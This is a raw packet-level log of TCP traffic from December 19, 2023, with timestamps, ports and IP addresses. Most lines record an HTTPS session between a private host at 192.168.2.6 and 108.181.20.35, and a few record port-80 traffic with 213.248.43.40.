Dec 19, 2023 05:19:26.247461081 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:26.247473955 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:26.247558117 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:26.247565985 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:26.247574091 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:26.247601986 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:26.247621059 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:26.247626066 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:26.247643948 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:26.247709990 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:26.247716904 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:26.247782946 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:26.247788906 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:26.247817039 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:26.247847080 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:26.247853041 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:26.247868061 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:26.247934103 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:26.247941017 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:26.247961044 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:26.247989893 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:26.247993946 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:26.247998953 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:26.248047113 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:26.248054028 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:26.248143911 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:26.248155117 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:26.248189926 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:26.248198986 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:26.248219967 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:26.248241901 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:26.248253107 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:26.248306036 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:26.248312950 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:26.248367071 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:26.248372078 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:26.248389959 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:26.248414040 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:26.248420954 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:26.248430014 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:26.248476982 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:26.248542070 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:26.452742100 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:26.452902079 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:26.872752905 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:26.872798920 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:27.704745054 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:27.704838037 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:29.359993935 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:19:29.360117912 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:19:29.372745991 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:29.372831106 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:30.145739079 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:30.145764112 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:30.145777941 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:30.146006107 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:30.146014929 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:30.146032095 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:30.146100998 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:30.146106005 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:30.146184921 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:30.280632973 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:30.280648947 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:30.280663013 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:30.280673981 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:30.280704021 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:30.280709028 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:30.280786991 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:30.280792952 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:30.280806065 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:30.280822992 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:30.280826092 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:30.281003952 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:30.281009912 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:30.281027079 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:30.281050920 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:30.281056881 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:30.281092882 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:30.281099081 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:30.281167030 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:30.281173944 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:30.281213999 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:30.281219006 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:30.281240940 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:30.281271935 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:30.281285048 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:30.281338930 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:30.281351089 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:30.281384945 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:30.281389952 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:30.281414032 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:30.281435966 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:30.281478882 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:30.281486034 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:30.281498909 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:30.281531096 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:30.281536102 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:30.281553030 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:30.281572104 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:30.281641006 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:30.281646967 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:30.281672001 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:30.281697035 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:30.281702995 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:30.281771898 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:30.281827927 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:30.488778114 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:30.489015102 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:30.904784918 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:30.904855013 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:31.740782976 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:31.741112947 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:33.400777102 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:33.401071072 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:34.321247101 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:34.321283102 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:34.321300030 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:34.321430922 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:34.321439981 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:34.321458101 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:34.321579933 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:34.321584940 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:34.321693897 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:34.528779984 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:34.528955936 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:34.581259012 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:34.581273079 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:34.581286907 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:34.581298113 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:34.581347942 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:34.581360102 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:34.581399918 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:34.581404924 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:34.581414938 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:34.581449986 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:34.581456900 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:34.581470013 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:34.581475019 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:34.581502914 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:34.581510067 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:34.581532001 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:34.581537962 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:34.581551075 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:34.581557035 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:34.581568003 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:34.581629992 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:34.581635952 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:34.581701040 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:34.581707001 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:34.581762075 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:34.581768036 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:34.581784964 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:34.581820011 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:34.581828117 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:34.581842899 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:34.581891060 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:34.581898928 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:34.581943989 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:34.581948996 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:34.581967115 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:34.581988096 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:34.581990957 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:34.582000971 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:34.582040071 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:34.582046032 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:34.582132101 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:34.582139015 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:34.582154989 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:34.582182884 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:34.582182884 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:34.582189083 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:34.582258940 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:34.582271099 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:34.582284927 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:34.582360029 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:34.582413912 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:34.788750887 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:34.788922071 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:35.224752903 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:35.224927902 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:36.060741901 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:36.060827017 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:37.724744081 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:37.724833965 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:38.779103041 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:38.779124022 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:38.779136896 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:38.779198885 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:38.779207945 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:38.779247046 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:38.779251099 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:38.779261112 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:38.779270887 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:38.779273987 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:38.779314041 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:38.779362917 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:38.984740019 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:38.984895945 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:39.053071022 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:39.053081989 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:39.053093910 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:39.053105116 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:39.053134918 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:39.053256035 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:39.053263903 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:39.053281069 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:39.053297997 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:39.053399086 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:39.053416014 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:39.053431034 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:39.053462029 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:39.053478003 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:39.053484917 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:39.053553104 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:39.053560019 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:39.053637981 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:39.053646088 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:39.053705931 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:39.053716898 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:39.053774118 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:39.053780079 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:39.053805113 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:39.053836107 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:39.053842068 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:39.053863049 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:39.053880930 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:39.053886890 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:39.053945065 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:39.053951025 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:39.054004908 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:39.054009914 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:39.054033041 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:39.054074049 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:39.054080963 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:39.054135084 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:39.054140091 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:39.054198980 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:39.054212093 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:39.054260015 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:39.054266930 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:39.054322958 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:39.054371119 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:39.264741898 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:39.264820099 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:39.704750061 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:39.704914093 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:40.536753893 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:40.537018061 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:42.200748920 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:42.201076984 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:45.628750086 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:45.628937006 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:46.008055925 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:46.008083105 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:46.008095026 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:46.008157969 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:46.008167028 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:46.008183002 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:46.008191109 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:46.008235931 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:46.008243084 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:46.008274078 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:46.008311033 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:46.008317947 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:46.008356094 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:46.212739944 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:46.212913036 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:46.354784966 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:46.354798079 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:46.354809999 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:46.355026960 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:46.355032921 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:46.355047941 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:46.355058908 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:46.355186939 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:46.355194092 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:46.355211020 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:46.355236053 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:46.355240107 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:46.355271101 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:46.355274916 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:46.355432987 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:46.355438948 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:46.355473995 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:46.355504036 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:46.355508089 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:46.355515003 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:46.355653048 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:46.355662107 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:46.355675936 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:46.355777979 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:46.355784893 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:46.355794907 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:46.355871916 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:46.355878115 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:46.355905056 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:46.355968952 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:46.355983019 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:46.356101990 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:46.356110096 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:46.356131077 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:46.356180906 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:46.356188059 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:46.356322050 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:46.356333017 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:46.356344938 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:46.356446028 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:46.356452942 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:46.356564045 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:46.356652021 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:46.560750008 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:46.560800076 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:47.000751019 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:47.000875950 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:47.832740068 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:47.832814932 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:49.496743917 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:49.496795893 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:51.325769901 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:51.325794935 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:51.325809002 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:51.325882912 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:51.325889111 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:51.325905085 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:51.325915098 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:51.325941086 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:51.325944901 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:51.325968981 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:51.325975895 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:51.326006889 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:51.326041937 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:51.532742023 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:51.532816887 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:51.670171022 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:51.670181990 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:51.670192957 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:51.670197010 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:51.670336008 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:51.670344114 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:51.670356989 CET	443	49718	108.181.20.35	192.168.2.6
